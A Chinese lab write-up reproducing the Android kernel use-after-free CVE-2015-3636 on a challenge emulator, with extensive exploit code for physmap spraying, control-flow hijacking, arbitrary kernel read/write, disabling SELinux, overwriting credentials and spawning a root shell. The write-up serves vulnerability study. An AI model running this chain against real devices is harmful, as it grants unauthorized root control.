CVE-2015-3636 漏洞复现 - pingpong root
CVE-2015-3636漏洞的杀伤力巨大,能够root当时大多数的android手机(这些年, 我们虐过的漏洞by 腾讯科恩实验室)。科恩团队利用改进过的fuzz工具 Trinity 发现了该漏洞,并在blackhat 2015通过议题 Own your Android! Yet Another Universal Root 详细讲述了该漏洞的利用方法。
该漏洞发生在内核网络协议栈网络层的实现中(ping_unhash()),client端向服务器端发起连接(connect()函数)操作时,未考虑到hlist_nulls_node节点删除的特殊性(node->pprev不为null,而是LIST_POISON2),从而导致了UAF漏洞。
被free的对象是struct socket中的struct sock *sk,sock结构体中有许多函数指针。因此通过physmap spray覆盖某个函数指针,来达到任意代码执行的目的,进而获取root shell。
环境准备
根据吾爱破解2016安全挑战赛中给出的漏洞环境,准备如下两个镜像:
goldfish镜像及对应emulator - 解压密码:63BBC624A1238F6434B37EEAA4535D6C
该题中linux内核的版本是3.10,下载源码辅助分析:linux v3.10-rc1版本源码
分析之前,先用别人的poc和exp打一遍,确认环境和利用脚本都没问题。
测试poc
poc部分仅仅体现了访问非法地址导致的崩溃,真正的利用需要绕过崩溃点,触发UAF,然后在关闭socket时劫持控制流
poc代码-ndk编译 ,main函数代码如下:
1 | int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP); |
执行poc后,kernel panic,显示Unable to handle kernel paging request at virtual address 00001360
,为什么不是0x200200呢?这是因为出题人对这个值做了修改,利用IDA逆向Image文件,在sub_FFFFFFC000409614()
函数中可以看到0x1360这个值。
测试exp
比较复杂,在漏洞利用小节详细分析
ndk编译后能成功执行
LQ:aarch64-gnu-linux-gcc 静态编译和ndk编译的结果不一样(1. 对头文件的依赖;2. system无法执行成功 ;3. mmap操作不一样)【最终有没有可能采用静态编译的方式利用成功?】
如何调试
题目给的启动程序做了些封装操作,为了获得最原始的qemu启动命令,需在程序启动后查看进程信息,截取启动命令
./startEmulator
启动虚拟机后,通过ps -ef
查看进程情况,得知最终是通过qemu-system-aarch64(是谷歌的android-qemu)来启动的。我们需要利用它的启动参数来调试。
1 | bling 19263 2450 0 21:19 pts/1 00:00:00 /bin/bash ./startEmulator |
由于启动命令较长,terminal无法完全显示命令。我们可以利用cmdline获取该命令,如下:
1 | cat /proc/<PID>/cmdline | xargs -0 echo |
得到如下启动命令
1 | ./qemu/linux-x86_64/qemu-system-aarch64 -cpu cortex-a57 -machine type=ranchu -m 1024 -append 'console=ttyAMA0,38400 keep_bootcon earlyprintk=ttyAMA0' -serial mon:stdio -kernel ./Image -initrd ./ramdisk.img -drive index=0,id=sdcard,file=./system.img -device virtio-blk-device,drive=sdcard -drive index=1,id=userdata,file=././userdata.img -device virtio-blk-device,drive=userdata -drive index=2,id=cache,file=./cache.img -device virtio-blk-device,drive=cache -drive index=3,id=system,file=./system.img -device virtio-blk-device,drive=system -netdev user,id=mynet -device virtio-net-device,netdev=mynet -show-cursor -nographic -L lib/pc-bios |
调试的话,在以上命令后加上-S -s
(gdbserver默认监听本地1234端口),然后另起一个terminal,执行gdb-multiarch
1 | gdb-multiarch |
漏洞分析
该漏洞发生在内核网络协议栈网络层的实现中(ping_unhash()),client端向服务器端发起连接(connect()函数)操作时,未考虑到hlist_nulls_node节点删除的特殊性(node->pprev不为null,而是LIST_POISON2),从而导致了UAF漏洞。
被free的对象是struct socket中的struct sock *sk,sock结构体中有许多函数指针。因此通过physmap spray覆盖某个函数指针,来达到任意代码执行的目的,进而获取root shell。
了解linux内核网络协议栈参考:计算机网络基础 — Linux 内核网络协议栈
根据poc崩溃现场打印的log来看,调用流程是这样的:Sys_connect() –> inet_dgram_connect() –> udp_disconnect() –> ping_unhash()。跟着源码分析,inet_dgram_connect()函数定义如下:
1 | int inet_dgram_connect(struct socket *sock, struct sockaddr *uaddr, |
漏洞分支是if (uaddr->sa_family == AF_UNSPEC)
,而sk->sk_prot->disconnect对应的函数是谁呢?
inet_init()中根据实际场景将某个struct inet_protosw inetsw_array关联到inetsw,再在inet_create()函数中初始化sk->sk_prot为对应的
.prot
。本题对应IPPPROTO_ICMP这一结构,如下:
1
2
3
4
5
6
7
8
9
10 static struct inet_protosw inetsw_array[] =
{
{
.type = SOCK_DGRAM,
.protocol = IPPROTO_ICMP,
.prot = &ping_prot,
.ops = &inet_dgram_ops,
.no_check = UDP_CSUM_DEFAULT,
.flags = INET_PROTOSW_REUSE,
},因此,sk->sk_prot->disconnect中的disconnect对应struct proto ping_prot中的udp_disconnect(),代码如下:
1 | int udp_disconnect(struct sock *sk, int flags) |
如果当前未绑定端口,则进入if (!(sk->sk_userlocks & SOCK_BINDPORT_LOCK))
分支,调用sk->sk_prot->unhash(sk)
,对应ping_v4_unhash()函数(函数名跟题目Image中的不一样),函数定义如下:
1 | static void ping_v4_unhash(struct sock *sk) |
if分支的判断条件是sk_hashed(sk)
,简言之,如果sk->sk_node->pprev
非0,就进入if分支。下面看看if分支里的hlist_nulls_del()
函数,将sk->sk_nulls_node
从链表节点中删除,并将sk->sk_nulls_node->pprev
设置为LIST_POISON2
(0x200200,本题环境中为0x1360)。
sk->sk_nulls_node
即sk->sk_node
,它俩是一个union。
1 |
|
关于链表删除时为什么将node->pprev
赋值为LIST_POISON2
,文章 linux双向链表分析之list_del中的技巧 中说是为了方便调试的目的。
hlist_nulls_del()
后是sock_put()
,该函数在sk无引用后,调用sk_free()
释放sk节点。
1 | static inline void sock_put(struct sock *sk) |
以上流程走第一遍的时候没什么问题,但走第二遍时,由于sk->sk_node->pprev
为非零值(0x200200/0x1360),因此会进入if(sk_hashed(sk))
分支,然后顺序执行hlist_nulls_del(&sk->sk_nulls_node)
和 sock_put(sk)
。当执行到如下代码片段时,由于n->pprev
为0x200200/0x1360
,导致*pprev = next
发生非法地址访问,内核crash。
1 | static inline void __hlist_nulls_del(struct hlist_nulls_node *n) |
如果在访问该非法地址前,先合法映射0x200200/0x1360
这块地址区域,就不会在此处发生内核crash。然后,会继续执行sock_put(sk)
,此时sk->sk_refcnt
为1(调试发现),因此会执行sk_free(sk)
操作。虽然sk
已释放,但用户态依然可以通过已打开的socket文件描述符访问sk
中的数据,于是产生了UAF。
漏洞patch 在删除链表节点和释放sk函数之间新增了一个函数sk_nulls_node_init
,将sk->sk_node->pprev
置为0,则无法二次进入if (sk_hashed(sk))
分支触发UAF。
1 | /* hlist_nulls_del(&sk->sk_nulls_node); |
漏洞利用
总体思路
利用思路分为如下6个步骤:
1、physmap spray:劫持函数指针sk->_sk_common->skc_prot->close
- 内核态堆内存:用户态创建大量socket连接,利用漏洞产生kmalloc UAF
- 用户态mmap内存:mmap大量内存,并以页为单位进行标记
- 两者在物理内存中可能存在重叠,因此重点变成了,如何找到mmap page与socket的重合呢?
- socket有一个特殊的ioctl cmd,叫SIOCGSTAMPNS。它将返回sk->偏移0x1D8处的值。于是,只要在mmap时为每个PAGE做特殊标记,便能定位到哪些mmap page和socket会重合。
- 而close(fd)时会用到sk->偏移0x28处的函数指针,因此改目标mmap_page其偏移0x28处的值,就能实现内核控制流劫持了!
2、改进程addr_limit:任意内核地址读写
- kernel_setsockopt()函数,控制跳过setfs(oldfs)这行代码。
- 使用pipe系统调用,对任意内核地址读写
3、关闭selinux:利用任意内核读写来关闭selinux
4、获取cred/real_cred地址
- 泄露当前进程task_struct结构体的地址
- 根据cred/real_cred在task_struct中的偏移,获取cred/real_cred结构体的地址
5、进程提权
- 将cred结构体中uid,gid,suid,sgid,euid,egid,fsuid,fsgid全部置零
6、稳定shell
步骤1. physmap spray
UAF socket spray
由于需要创建大量socket,因此首先改掉linux rlimit对打开文件数量的限制,即RLIMIT_NOFILE(能打开的文件数目)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14int maximize_fd_limit()
{
struct rlimit rlim;
int ret;
ret = getrlimit(RLIMIT_NOFILE, &rlim);
//printf("rlim.rlim_cur: 0x%x, rlim.rlim_max:0x%x\n",rlim.rlim_cur,rlim.rlim_max);
rlim.rlim_cur = rlim.rlim_max;
setrlimit(RLIMIT_NOFILE, &rlim);
ret = getrlimit(RLIMIT_NOFILE, &rlim);
return rlim.rlim_cur;
}然后申请socket,并调用两次connect产生UAF。需要绕过POC中非法地址访问(真实场景中时0x200200,本题中是0x1360),将该地址做一次映射即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36//global
int vultrig_socks[MAX_VULTRIG_SOCKS_COUNT];
//global
int i; // for-loop
struct sockaddr_in addr1;
struct sockaddr_in addr2;
memset(&addr1,0,sizeof(addr1));
memset(&addr2,0,sizeof(addr2));
addr1.sin_family = AF_INET;
addr2.sin_family = AF_UNSPEC;
printf("[+] set RLIMIT_NOFILE\n");
maximize_fd_limit();
printf("[+] socket prepare...\n");
for(i=0; i<MAX_VULTRIG_SOCKS_COUNT; i++)
{
vultrig_socks[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
connect(vultrig_socks[i], &addr1, sizeof(addr1));
}
// avoid error: Unable to handle kernel paging request at virtual address 00001360
printf("[+] mmap 0x1000-0x2000...\n");
system("echo 4096 > /proc/sys/vm/mmap_min_addr");
void* user_mm = mmap((void *)0x1000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE| MAP_FIXED |MAP_ANONYMOUS, -1, 0);
memset((char *)user_mm,0x90,0x1000);
printf("[+] generate vuln sockets...\n");
for(i=0; i<MAX_VULTRIG_SOCKS_COUNT; i++)
{
connect(vultrig_socks[i], &addr2, sizeof(addr2));
connect(vultrig_socks[i], &addr2, sizeof(addr2));
}mmap spray
考虑到性能,将mmap的size设置得尽量大。经过测试,一次mmap
150*1024*1024
大小是可以的。应当如何给mmap_page做标记呢?取决于使用socket的何种特性。
struct sock
结构体中有一个成员ktime_t sk_stamp
,用户态可以通过struct timespec time; ioctl(exp_sock, SIOCGSTAMPNS, &time)
读取到它的转换结果。64位系统下调用过程见《socket的inet_ioctl》章节内容。通过分析题目的Image镜像,确定sk->sk_stamp的偏移是0x1D8。
1
2
3
4
5
6
7
8
9
10
11
12
13
14__int64 __fastcall sock_get_timestampns(__int64 a1, _QWORD *a2)
{
__int64 v4; // x0
__int64 v5; // x1
__int64 result; // x0
__int64 real; // x0
__int64 v10; // x1
__int64 v11; // [xsp+0h] [xbp+0h] BYREF
__int64 v12; // [xsp+20h] [xbp+20h] BYREF
__int64 v13; // [xsp+28h] [xbp+28h]
if ( (*(_QWORD *)(a1 + 200) & 0x80) == 0 )
sock_enable_timestamp(a1, 7i64);
v4 = ns_to_timespec(*(_QWORD *)(a1 + 0x1D8));因此,我们在mmap的每一个mmap_page中,偏移0x1D8的位置,写入一个8字节的magic number。代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31// global
void* physmap_spray_pages[(MAX_PHYSMAP_SIZE / PAGE_SIZE) * MAX_PHYSMAP_SPRAY_PROCESS];
int physmap_spray_pages_count;
// global
int physmap_spray_func(){
void* mapped;
void* mapped_page;
int i,j;
memset(physmap_spray_pages,0,sizeof(physmap_spray_pages));
physmap_spray_pages_count = 0;
for(i = 0; i < MAX_PHYSMAP_SPRAY_PROCESS; i++){
mapped = mmap(NULL, MAX_PHYSMAP_SIZE , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
memset((char *)mapped,0x41,MAX_PHYSMAP_SIZE);
for(j = 0; j < MAX_PHYSMAP_SIZE/PAGE_SIZE; j++){
mapped_page = (void*)((char*)mapped + PAGE_SIZE*j);
*(unsigned long *)((char*)mapped_page+0x1D8) = MAGIC_VALUE + physmap_spray_pages_count;
physmap_spray_pages[physmap_spray_pages_count] = mapped_page;
physmap_spray_pages_count++;
}
}
return 0;
}find exploitable socket and mmap_page
对每一个socket,遍历mmap_page,找到timestamp一致的两个对象。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48int search_exploitable_socket(int* index, void** payload)
{
struct timespec time;
uint64_t value;
void* page = NULL;
int j = 0;
int exp_sock = -1;
int got = 0;
do{
exp_sock = vultrig_socks[*index];
memset(&time, 0, sizeof(time));
ioctl(exp_sock, SIOCGSTAMPNS, &time);
value = ((uint64_t)time.tv_sec * NSEC_PER_SEC) + time.tv_nsec;
for(j = 0; j < physmap_spray_pages_count; j++){
page = physmap_spray_pages[j];
if(value == *(unsigned long *)((char *)page + 0x1D8)){
printf("[*] magic:%p\n", value);
got = 1;
*payload = page;
printf("hit the mmap page : 0x%x\n",j);
break;
}
}
*index = *index + 1;
}while(!got && *index < MAX_VULTRIG_SOCKS_COUNT);
if(got == 0){
return -1;
}
else{
return exp_sock;
}
}
//调用
int exp_sock,exp_sock_index;
void* payload;
exp_sock_index = 0;
exp_sock = search_exploitable_socket(&exp_sock_index,&payload);
if(exp_sock == -1){
printf("cannot find target socket\n");
}else{
printf("find it 1!!! exp_sock_index: 0x%x\n",exp_sock_index);
}hijack
sk->sk_prot->close
struct sock
结构体中有许多函数指针,其中sk->sk_prot->close
在close(fd)
时会通过sock_close()
->sock_release()
->inet_release()
调用到。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24struct sock {
/*
* Now struct inet_timewait_sock also uses sock_common, so please just
* don't add nothing before this first member (__sk_common) --acme
*/
struct sock_common __sk_common;
//......
}
struct sock_common {
//......
struct proto *skc_prot;
//......
}
struct proto {
void (*close)(struct sock *sk,
long timeout);
int (*connect)(struct sock *sk,
struct sockaddr *uaddr,
int addr_len);
//.......
}inet_release函数中,
sk->sk_prot->close(sk, timeout)
对应的汇编代码如下,sk->sk_prot->close
中sk_prot(即__sk_common.skc_prot)距离sock起始地址的偏移量是0x28。从该地址取出的值即close()函数起始地址。1
2
3
4
5
6
7ROM:FFFFFFC0003FEA20 loc_FFFFFFC0003FEA20 ; CODE XREF: inet_release+90↓j
ROM:FFFFFFC0003FEA20 ; inet_release+98↓j
ROM:FFFFFFC0003FEA20 STR XZR, [X20,#0x20]
ROM:FFFFFFC0003FEA24 MOV X0, X19
ROM:FFFFFFC0003FEA28 LDR X2, [X19,#0x28]
ROM:FFFFFFC0003FEA2C LDR X2, [X2]
ROM:FFFFFFC0003FEA30 BLR X2因此,上一步骤找到满足条件的socket和mmap_page之后,覆盖mmap_page偏移0x28位置处的8个字节地址指向的内容,就能实现控制流劫持了!
该步骤的源码参考:步骤1的源码
编译完成后,通过adb push到虚拟机中,执行结果如下图所示,成功劫持pc。
步骤2. 改进程addr_limit
扩大进程addr limit访问空间
用户态进程陷入内核态后,通过set_fs(KERNEL_DS)将本进程可访问地址限制设为0xFFFFFFFFFFFFFFFF,于是当前进程可访问到所有虚拟内存地址。在目标功能完成后,通过set_fs(oldfs)将限制重新设置为原来的大小。它们在内核代码中通常是成对出现的。
kernel_setsockopt()函数(函数地址为0xFFFFFFC00035D788)中调用了set_fs(KERNEL_DS),并且通过适当设置寄存器可以跳过setfs(oldfs)这行代码。《addr limit访问限制》章节中“kernel_setsockopt”小节,详细说明了本题的利用方法。
发生控制流劫持时,x0的值为sock的地址,[x0,#0x28]处存的还是sock地址,所以x5也是sock地址。因此将[x5,#0x68]处存上0xFFFFFFC00035D7C0,相当于给mmap_page+0x68处存上这个值。
1
2
3
4
5ROM:FFFFFFC00035D7B0 LDR X5, [X0,#0x28]
ROM:FFFFFFC00035D7B4 LDR X5, [X5,#0x68]
ROM:FFFFFFC00035D7B8 BLR X5
ROM:FFFFFFC00035D7BC STR X20, [X19,#8]
ROM:FFFFFFC00035D7C0 LDP X19, X20, [SP,#var_s10]在步骤1执行close(exp_sock)之前,布置好将要使用到的值。使其执行kernel_setsockopt()函数,并跳过set_fs(oldfs)这一句。
1
2
3
4
5
6*(unsigned long *)((char*)payload + 0x290) = 0;
*(unsigned long *)((char*)payload) = (unsigned long)0xFFFFFFC00035D788;
*(unsigned long *)((char*)payload + 0x28) = payload;
*(unsigned long *)((char*)payload + 0x68) = (unsigned long)0xFFFFFFC00035D7C0;
close(exp_sock);
printf("[*] now we can R/W kernel address space like a boss.\n");通过pipe系统调用,任意读写内核
封装两个函数,用户态程序通过调用它们,就能实现对任意内核地址的读写。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15int kernel_read(void* kernel_addr, unsigned long* value, usigned int len){
int pipefd[2];
pipe(pipefd);
write(pipe[1],kernel_addr,len);
read(pipe[0],value,len);
return 0;
}
int kernel_write(void* kernel_addr, unsigned long* value, usigned int len){
int pipefd[2];
pipe(pipefd);
write(pipe[1],value,len);
read(pipe[0],kernel_addr,len);
return 0;
}该步骤的源码参考:步骤二的源码
选择内核数据段0xFFFFFFC000580860,写入0xdeadbeefdeadbeef,并成功读出。效果如下图所示:
步骤3. 关闭selinux
通过sel_read_enforce()
函数,可以定位到selinux_enforcing
的地址,为0xFFFFFFC00065399C。
1 | __int64 __fastcall sel_read_enforce(__int64 a1, __int64 a2, __int64 a3, __int64 a4) |
通过如下代码片段实现关闭selinux:
1 | unsigned int set_selinux = 0; |
该步骤的源码参考:步骤三的源码
先读取selinux_enforcing的值,为1,表示开启了selinux。然后设置selinux_enforcing为0,并读取,发现设置成功。效果如下图所示:
步骤4. 获取cred/real_cred地址
为了给当前进程提权,需要改cred结构体的信息。因此,先获取task_struct结构体的地址,再通过偏移定位到cred的存放地址。
泄露task_struct结构体的地址
task_struct的地址在thread_info结构体中存储着,而thread_info结构体地址跟内核栈地址是相同的。arm64系统上,内核栈的最大深度为16K。
sp&0xFFFFFFFFFFFFC000
即可得到thread_info的地址,task_struct在thread_info结构体中的偏移是0x10。本题Image中,找到如下代码片段,可通过
sp&0xFFFFFFFFFFFFC000
计算将task_struct的地址写到X1+0x18
地址处。1
2
3
4
5
6# mutex_trylock函数
ROM:FFFFFFC0004AA518 MOV X2, SP
ROM:FFFFFFC0004AA51C AND X2, X2, #0xFFFFFFFFFFFFC000
ROM:FFFFFFC0004AA520 LDR X2, [X2,#0x10]
ROM:FFFFFFC0004AA524 STR X2, [X1,#0x18]
ROM:FFFFFFC0004AA528 RET由于控制流劫持时,x1寄存器中的值为0,因此task_struct的地址将被写入0x18地址处。
那么需要提前mmap小于4096的地址,而系统通常会禁止mmap低地址,所以需要改mmap_min_addr的值,将其改成0。通过逆向Image镜像,可以找到mmap_min_addr的值为0xFFFFFFC000652148。
1
2
3
4
5
6
7
8__int64 mmap_min_addr_handler()
{
__int64 result; // x0
result = proc_doulongvec_minmax();
MEMORY[0xFFFFFFC000652148] = 4096i64; // 0xFFFFFFC000652148就是mmap_min_addr的地址
return result;
}读取task_struct地址的代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21// set mmap_min_addr
unsigned long set_mmap_min = 0;
kernel_write((void*)0xFFFFFFC000652148,&set_mmap_min,8);
user_mm = mmap((void*)0x0,PAGE_SIZE,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE| MAP_FIXED |MAP_ANONYMOUS, -1, 0);
// leak struct_cred address to 0x18
exp_sock = search_exploitable_socket(&exp_sock_index,&payload);
if(exp_sock == -1){
printf("cannot find target socket\n");
}else{
printf("find it 2!!! exp_sock_index: 0x%x\n",exp_sock_index);
}
*(unsigned long *)((char*)payload + 0x290) = 0;
*(unsigned long *)((char*)payload) = (unsigned long)0xFFFFFFC0004AA518;
*(unsigned long *)((char*)payload + 0x28) = payload;
close(exp_sock);
// read task_struct address
void* task_struct_addr = 0;
task_struct_addr = (void*)*(unsigned long*)((char*)user_mm+0x18);
printf("task_struct addr is : %p\n",task_struct_addr);泄露cred/real_cred地址
根据cred/real_cred在task_struct中的偏移,获取cred/real_cred结构体的地址。
上一步获得了
task_struct task
的地址,通过exit_creds()
函数得知task->real_cred的偏移是0x398。(real_cred
与cred
指向的位置是相同的)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28// IDA伪代码
unsigned int *__fastcall exit_creds(__int64 a1)
{
unsigned int *v2; // x0
unsigned int v3; // w1
unsigned int v4; // w1
unsigned int *result; // x0
unsigned int v6; // w1
unsigned int v7; // w1
v2 = *(unsigned int **)(a1 + 0x398);
*(_QWORD *)(a1 + 0x398) = 0i64;
do
{
v3 = __ldaxr(v2);
v4 = v3 - 1;
}
...
}
// C源代码
void exit_creds(struct task_struct *tsk)
{
struct cred *cred;
cred = (struct cred *) tsk->real_cred;
tsk->real_cred = NULL;
validate_creds(cred);
...
}所以,通过我们封装的内核任意地址读函数,real_cred的地址,代码片段如下
1
2
3void* cred_addr = 0;
kernel_read((char*)task_struct_addr+0x398,&cred_addr,8);
printf("cred addr: %p\n",cred_addr);该步骤的源码参考:步骤四的源码
运行结果如下图所示,成功泄露了task_struct和cred结构体的地址。
步骤5. 进程提权
获取到cred/real_cred结构体的地址后,剩下的事情就变得简单了。
cred结构体如下,将uid,gid,suid,sgid,euid,egid,fsuid,fsgid
全都改成0,即可完成本进程的提权。
1 | struct cred { |
本部分代码片段如下:
1 | // set cred to get root |
该步骤的源码参考:步骤五的源码
步骤6. 稳定shell
Module to print the open files of a process
task_struct->files->fdt->max_fds存储着当前进程打开的文件个数信息(猜测当进程退出时会根据该信息,依次关闭各个打开的文件)。为防止其他socket关闭时crash,我们需要将该值改为0。
确定
files_struct *files
在tast_struct
中的偏移get_files_struct()
函数中通过使用了files_struct,通过比对,得到本题中files_struct在tast_struct中的偏移量为0x788字节。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32// 在linux 3.10的源码中找到如下函数,调用了task->files
struct files_struct *get_files_struct(struct task_struct *task)
{
struct files_struct *files;
task_lock(task);
files = task->files;
if (files)
atomic_inc(&files->count);
task_unlock(task);
return files;
}
// 在Image中找到对应的伪代码,确认files在task_struct中的偏移量是0x788
unsigned int *__fastcall get_files_struct(__int64 a1)
{
__int64 v2; // x20
unsigned int *v3; // x19
unsigned int v4; // w0
v2 = a1 + 0x818;
raw_spin_lock(a1 + 0x818);
v3 = *(unsigned int **)(a1 + 0x788); // files = task->files
if ( v3 )
{
do
v4 = __ldxr(v3);
while ( __stxr(v4 + 1, v3) );
}
raw_spin_unlock(v2);
return v3;
}确定
fdtable *fdt
在files_struct
中的偏移do_dup2()
函数中使用到了fdt,如下代码段。所以本题环境中,fdtable *fdt
在files_struct
中的偏移量为8字节。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19// 源码
static int do_dup2(struct files_struct *files,
struct file *file, unsigned fd, unsigned flags)
{
struct file *tofree;
struct fdtable *fdt;
fdt = files_fdtable(files);
tofree = fdt->fd[fd];
// ......
}
// IDA伪代码
__int64 __fastcall do_dup2(__int64 a1, __int64 a2, int a3, int a4)
{
// ......
v5 = 8i64 * (unsigned int)a3;
v6 = *(_QWORD **)(a1 + 8); //从file_struct偏移8字节的位置,取出fdt的地址
v7 = *(_QWORD *)(v6[1] + v5);
// ......
}根据以上信息,可通过如下代码片段,清理打开的socket fd,避免内核crash。
1 | // clean fds |
弹root shell
1 | // root shell |
完整利用代码:步骤六源码
效果如下:
知识点补充
学习本题exp的过程中,补了不少知识点,全都记录在这里
linux rlimit资源限制
Linux系统调用–getrlimit()与setrlimit()函数详解
操作系统能提供的资源有限,所以必须限制每个进程使用的资源数,在linux上这个机制叫做rlimit。与之相关的一个结构体是:
1 | struct rlimit { |
更改rlimit值有两种方式:
ulimit命令
ulimit改变的是当前shell的resource limit,从而改变该shell启动的进程的resource limit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15ulimit -a
time(cpu-seconds) unlimited
file(blocks) unlimited
coredump(blocks) 0
data(KiB) unlimited
stack(KiB) 8192
lockedmem(KiB) 64
nofiles(descriptors) 1024
processes 4004
sigpending 4004
msgqueue(bytes) 819200
maxnice 40
maxrtprio 0
resident-set(KiB) unlimited
address-space(KiB) unlimitedgetlimit()和setlimit()两个API函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19// 更改soft limit的demo
int main()
{
struct rlimit rlim;
int ret;
ret = getrlimit(RLIMIT_NOFILE, &rlim); // 读取RLIMIT_NOFILE这个资源的限制值
// printf("rlim.rlim_cur:%d\n",rlim.rlim_cur);
// printf("rlim.rlim_max:%d\n",rlim.rlim_max);
rlim.rlim_cur = rlim.rlim_max;
setrlimit(RLIMIT_NOFILE, &rlim); // 更改了soft limit后,重新写回内核
return 0;
}
以上是对当前进程的resource limit进行修改,那么当我们需要更改其他进程的resource limit时,应该怎么办呢?对于高版本内核,可以使用prlimit()函数或prlimit命令。
查看某一进程的resource limit:cat /proc/<pid>/limits
mmap函数
mmap将文件或设备映射进内存。但是对安全研究员来说,用的最多的是它的匿名映射(不将映射区与任何文件关联)。函数原型如下:
1 | void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset); |
匿名映射是指在flags中指定了MAP_ANONYMOUS
,并且fd被置为-1的情况。
mmap_min_addr
使用cat /proc/sys/vm/mmap_min_addr
查看当前系统中允许mmap的最低地址。有两种方法可以改变这个限制:
通过
echo 4096 > /proc/sys/vm/mmap_min_addr
更改最低地址的限制。劫持内核控制流,更改mmap_min_addr的值
1
2
3
4
5
6
7
8__int64 mmap_min_addr_handler()
{
__int64 result; // x0
result = proc_doulongvec_minmax();
MEMORY[0xFFFFFFC000652148] = 4096i64; // 0xFFFFFFC000652148就是mmap_min_addr的地址
return result;
}
ret2dir
提出ret2dir这种利用方法的论文(USENIX 2014):ret2dir: Rethinking Kernel Isolation
ret2dir中一个关键技术叫physmap spray。
physmap是64位linux内核内存布局中的一个区域,该区域内存比较特殊,称作”direct mapping of all physical memory”,大小是64TB。也就是说任意物理内存地址都可以映射到physmap虚拟内存中。
利用physmap这一区域,可以绕过一些linux内核漏洞缓解措施,如SMAP,SMEP等。攻击者通过mmap将payload放入虚拟内存(也在物理内存中),相应地一定能在physmap中找到这些payload,从而达到在内核中访问用户态数据或执行用户态代码的目的。
通过如下文章中的小实验来了解physmap:
在对physmap的研究过程中,有以下几个问题:
kmalloc的内存是否在physmap区域?
1
在x86_64位ubuntu20.04虚拟机中,验证证明内核中kmalloc的内存在physmap区域。
mmap的内存是否在physmap区域?
1
通过gdb dump内存,看到了mmap虚拟内存对应的内容
mmap的内存,与kmalloc的内存,它们在physmap中的分布特点?
1
2- kmalloc分配的内存遵循SLUB分配器的原则
- mmap出来的内存,在vmware ubuntu中以1k为单位块,无规则分布在physmap区域(因为在物理内存中分布不均匀?)如果kmalloc的内存存在UAF,用户态mmap的大量内存在物理上可能跟UAF的某些区域有重叠。于是,就达到了在用户态操作mmap内存,能控制内核UAF堆中数据的目的。这也是CVE-2015-3636漏洞利用中,physmap spray使用到的根本原理。
但是,涉及到linux内核内存管理的知识,目前我的储备为0,所以细节方面无法展开说明。这一知识盲区留待后续研究linux内存管理时再深入调试探究,参考这篇文章中提供的书籍和帖子学习:What’s inside the kernel part of virtual memory of 64 bit linux processes?
???但是,从kpwn这个题的环境来看,跟https://bbs.pediy.com/thread-230298.htm中对physmap和slab的描述并不一样。
???kpwn:kmalloc的内存就在physmap中
???看雪:kmalloc的内存需要通过lifting才能跟physmap产生交集
socket的inet_ioctl
inet_ioctl
linux-3.10-rc1/net/ipv4/af_inet.c中,有以下接口:
1 | int inet_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg) |
sock_get_timestampns
linux-3.10-rc1/net/core/sock.c中,实现了sock_get_timestampns函数
1 | struct timespec { |
ns_to_timespec
linux-3.10-rc1/kernel/time.cz中,实现了ns_to_timespec函数
1 | typedef union ktime ktime_t; |
该函数的作用是将参数的时间(纳秒)用timespec结构体来表示,结构体如下
1 | struct timespec |
通过编写一个简单的内核模块,弄明白这个函数的用法
1 |
|
addr limit访问限制
addr limit是什么
addr_limit是thread_info中的一个值,它代表当前线程可访问的地址空间大小。x86_64架构下,在用户程序addr_limit为0x7ffffffff000,在内核addr_limit为0xffffffffffffffff。
1 | typedef unsigned long mm_segment_t; |
当用户态程序通过系统调用进入内核后,需要访问内核空间的数据时该怎么办呢?
答:可以通过setfs()来改变addr_limit的值。相关定义如下:
1
2
3
4
5
6
7
8
9
10
11利用CVE-2017-8890漏洞ROOT天猫魔屏A1文章指出,当前有两种方式可以patch addr_limit的大小。这里我们关注第二种方法,通过调用了set_fs()的函数如kernel_setsockopt、kernel_sock_ioctl来更改addr_limit。
kernel_setsockopt
kernel_setsockopt()函数的源码:
1 | int kernel_setsockopt(struct socket *sock, int level, int optname, |
对应的汇编代码:
1 | ROM:FFFFFFC00035D788 kernel_setsockopt ; CODE XREF: svc_setup_socket+238↓p |
ROM:FFFFFFC00035D7BC STR X20, [X19,#8]
这行对应于set_fs(oldfs);
,跳过这一句,用户态进程对应的addr_limit就成了0xFFFFFFFFFFFFFFFF
,可以访问内核空间了。
也就是说将x5设置为0xFFFFFFC00035D7C0即可,那么要求[x5,#0x68]处存放0xFFFFFFC00035D7C0。x0是控制流劫持发生时的残留值,可根据实际情况变更。
pipe系统调用
通过pipe()创建一个管道,返回两个文件描述符,fd[0]为读,fd[1]为写。
1 | int kernel_read4(void* kernel_addr, unsigned int* value) |
关闭selinux
如何查看selinux状态?
/usr/sbin/sestatus -v
或者getenforce
通过内核镜像中,如selinux_init()、sel_read_enforce()、sel_write_enforce()等函数,可以定位到selinux_enforcing的内存地址。
- selinux_enforcing为0,SELinux为permissive模式
- selinux_enforcing为1,SELinux为enforcing模式
1 | // IDA中伪代码如下 |
thread_info与task_struct
task_struct
